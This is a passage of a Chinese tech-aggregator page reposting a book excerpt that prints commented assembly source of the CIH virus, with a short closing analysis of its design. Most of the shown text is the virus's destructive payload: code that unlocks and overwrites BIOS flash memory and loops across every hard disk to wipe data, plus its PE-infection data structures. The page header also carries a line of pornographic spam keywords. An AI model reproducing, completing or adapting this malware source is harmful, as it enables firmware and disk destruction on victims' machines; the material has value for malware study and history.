日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

病毒程序源码实例剖析-CIH病毒[5]

發(fā)布時(shí)間:2024/3/26 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 病毒程序源码实例剖析-CIH病毒[5] 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
push ecx
  loop $
  
  ;破壞BIOS中額外的000E0000 - 000E007F段的 ROM數(shù)據(jù) ,共80h個(gè)字節(jié)
  xor ah, ah
  mov [eax], al
  
  xchg ecx, eax
  loop $
  
  ; 顯示和激活BIOS的000E0000 - 000FFFFF段數(shù)據(jù),共128 KB,該段可寫入信息mov eax, 0f5555h
  popecx
  mov ch, 0aah
  call ebx
  mov byte ptr [eax], 20h
  
  loop $
  
  ; 破壞BIOS的000FE000 - 000FE07F段數(shù)據(jù),共80h字節(jié)
  mov ah, 0e0h
  mov [eax], al
  
  ; 隱藏BIOS的000F0000 - 000FFFFF段,共64 KB
  mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
  call esi
  
  ; 破壞所有硬盤
  KillHardDisk:
  xor ebx, ebx
  mov bh, FirstKillHardDiskNumber
  push ebx
  sub esp, 2ch
  push 0c0001000h
  mov bh, 08h
  push ebx
  push ecx
  push ecx
  push ecx
  push 40000501h
  inc ecx
  push ecx
  push ecx
  
  mov esi, esp
  sub esp, 0ach
  
  ;循環(huán)進(jìn)行破壞
  LoopOfKillHardDisk:
  int 20h
  dd 00100004h?
  
  cmp word ptr [esi+06h], 0017h
  je KillNextDataSection
  
  ;換下一個(gè)硬盤
  ChangeNextHardDisk:
  inc byte ptr [esi+4dh]
  
  jmp LoopOfKillHardDisk
  
  ;破壞下一個(gè)區(qū)域
  KillNextDataSection:
  add dword ptr [esi+10h], ebx
  mov byte ptr [esi+4dh], FirstKillHardDiskNumber
  
  jmp LoopOfKillHardDisk
  
  ;使EEPROM能夠?qū)懭胄畔?br />  EnableEEPROMToWrite:
  mov [eax], cl
  mov [ecx], al
  mov byte ptr [eax], 80h
  mov [eax], cl
  mov [ecx], al
  
  ret?
  
  IOForEEPROM:
  @10 = IOForEEPROM
  
  xchg eax, edi
  xchg edx, ebp
  out dx, eax
  
  xchg eax, edi
  xchg edx, ebp
  in al, dx
  
  BooleanCalculateCode = $
  or al, 44h
  
  xchg eax, edi
  xchg edx, ebp
  out dx, eax
  
  xchg eax, edi
  xchg edx, ebp
  out dx, al
  
  ret
  
  ;靜態(tài)數(shù)據(jù)定義
  LastVxdCallAddress = IFSMgr_Ring0_FileIO?? ;最后一個(gè)調(diào)用的Vxd指令地址
  VxdCallAddressTable db 00h
  db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
  db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
  db IFSMgr_Ring0_FileIO-UniToBCSPath??? ;各個(gè)Vxd調(diào)用指令地址之差
  
  VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h?? ;Vxd的調(diào)用號(hào)
  VxdCallTableSize = ($-VxdCallIDTable)/04h??? ;程序 中使用Vxd調(diào)用的個(gè)數(shù)
  
  ;病毒版本和版權(quán)信息定義
  VirusVersionCopyright db 'CIH v'??? ;CIH病毒的標(biāo)識(shí)
  db MajorVirusVersion+'0'??? ;主版本號(hào)
  db '.'
  db MinorVirusVersion+'0'??? ;次版本號(hào)
  db ' TATUNG'??? ;作者名字
  
  ; 病毒 大小
  VirusSize = $? + SizeOfVirusCodeSectionTableEndMark(04h)
  ? + NumberOfSections*SizeOfVirusCodeSectionTable(08h)
  + SizeOfTheFirstVirusCodeSectionTable(04h)
  
  ;動(dòng)態(tài)數(shù)據(jù)定義
  VirusGameDataStartAddress = VirusSize
  @6 = VirusGameDataStartAddress?? ;病毒數(shù)據(jù)起始地址
  
  OnBusy db 0?? ;“忙”標(biāo)志
  FileModificationTime dd ??? ;文件修改時(shí)間
  
  FileNameBuffer db FileNameBufferSize dup(?)????? ;7fh長(zhǎng)的文件名緩沖區(qū)
  @7 = FileNameBuffer
  
  DataBuffer = $
  @8 = DataBuffer
  NumberOfSections dw ???? ; 塊數(shù)目
  TimeDateStamp dd ??????? ; 文件時(shí)間
  SymbolsPointer dd ?
  NumberOfSymbols dd ????? ; 符號(hào)表中符號(hào)個(gè)數(shù)
  SizeOfOptionalHeader dw ?? ;可選文件頭的長(zhǎng)度
  _Characteristics dw ???????? ;字符集標(biāo)志
  Magic dw ???????????????? ;標(biāo)志字(總是010bh)
  LinkerVersion dw ?????????? ;連接器版本號(hào)
  SizeOfCode dd ???????????? ;代碼 段大小
  SizeOfInitializedData dd ????? ;已初始化數(shù)據(jù)塊大小
  SizeOfUninitializedData dd ?? ;未初始化數(shù)據(jù)塊大小
  AddressOfEntryPoint dd ????? ;程序起始RVA
  BaseOfCode dd ???????????? ;代碼段起始RVA
  BaseOfData dd ???????????? ;數(shù)據(jù)段起始RVA
  ImageBase dd ????????????? ;裝入基址RVA
  
  @9 = $
  SectionAlignment dd ??? ;塊對(duì)齊
  FileAlignment dd ????? ;文件塊對(duì)齊
  OperatingSystemVersion dd ??? ;所需 操作系統(tǒng)版本號(hào)
  ImageVersion dd ???????????? ;用戶自定義版本號(hào)
  SubsystemVersion dd ??????? ;所需子系統(tǒng)版本號(hào)
  Reserved dd ????????????? ; 保留
  SizeOfImage dd ???????? ; 文件各部分總長(zhǎng)
  SizeOfHeaders dd ??????? ;文件頭大小
  SizeOfImageHeaderToRead = $-NumberOfSections?
  NewAddressOfEntryPoint = DataBuffer
  SizeOfImageHeaderToWrite = 04h?
  
  StartOfSectionTable = @9
  SectionName = StartOfSectionTable???? ;塊名
  VirtualSize = StartOfSectionTable+08h?? ;段真實(shí)長(zhǎng)度
  VirtualAddress = StartOfSectionTable+0ch? ;塊的RVA
  SizeOfRawData = StartOfSectionTable+10h??? ; 塊物理長(zhǎng)度
  PointerToRawData = StartOfSectionTable+14h?? ; 塊物理偏移
  PointerToRelocations = StartOfSectionTable+18h?? ; 重定位的偏移
  PointerToLineNumbers = StartOfSectionTable+1ch??? ; 行號(hào)表的偏移
  NumberOfRelocations = StartOfSectionTable+20h???? ; 重定位項(xiàng)數(shù)目
  NumberOfLinenNmbers = StartOfSectionTable+22h??? ; 行號(hào)表的數(shù)目
  Characteristics = StartOfSectionTable+24h?? ; 塊屬性
  SizeOfScetionTable = Characteristics+04h-SectionName??? ; 每塊表項(xiàng)的長(zhǎng)度
  
  ;病毒所需要的內(nèi)存數(shù)量
  VirusNeedBaseMemory = $
  VirusNeedBaseMemory = $
  
  VirusTotalNeedMemory = @9
  ; + NumberOfSections(??)*SizeOfScetionTable(28h)
  ; + SizeOfVirusCodeSectionTableEndMark(04h)
  ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
  ; + SizeOfTheFirstVirusCodeSectionTable(04h)???
  
  ;病毒程序結(jié)束
  VirusGame ENDS
  END FileHeader

  從以上代碼分析過(guò)程中,我們可以看出,CIH病毒結(jié)構(gòu)清晰,層次分明。該病毒程序的主干結(jié)構(gòu)與DOS病毒極其相似,只不過(guò)對(duì)病毒細(xì)節(jié)的處理都是按win95方法,全部系統(tǒng)調(diào)用都是采用Vxd。這樣做使病毒程序更加底層、效率更高,也便于編程,與用Windows下的API函數(shù)相比,無(wú)須考慮病毒自身的復(fù)雜重定位過(guò)程;與使用中斷相比,又更能防止對(duì)程序的跟蹤分析。

  CIH病毒有兩個(gè)創(chuàng)新,一是病毒感染時(shí)查找感染對(duì)象文件的各塊之間的空白區(qū)域,把病毒自己的各種數(shù)據(jù)結(jié)構(gòu)和代碼寫到其中(如果空白區(qū)域不夠就不傳染,這就是為什么有些文件不會(huì)被感染的原因之一);二是病毒發(fā)作時(shí)能破壞計(jì)算機(jī)硬件,不但要燒毀Flash Memory,還要?dú)挠脖P。

  出于安全的緣故,有關(guān)病毒發(fā)作、破壞硬件的這部分代碼,我們沒(méi)有給出詳細(xì)的分析。

此文章節(jié)選自《計(jì)算機(jī)病毒與木馬程序剖析》http://shop.csai.cn/itbook/itbookinfo.asp?lbbh=BD05647383

總結(jié)

以上是生活随笔為你收集整理的病毒程序源码实例剖析-CIH病毒[5]的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。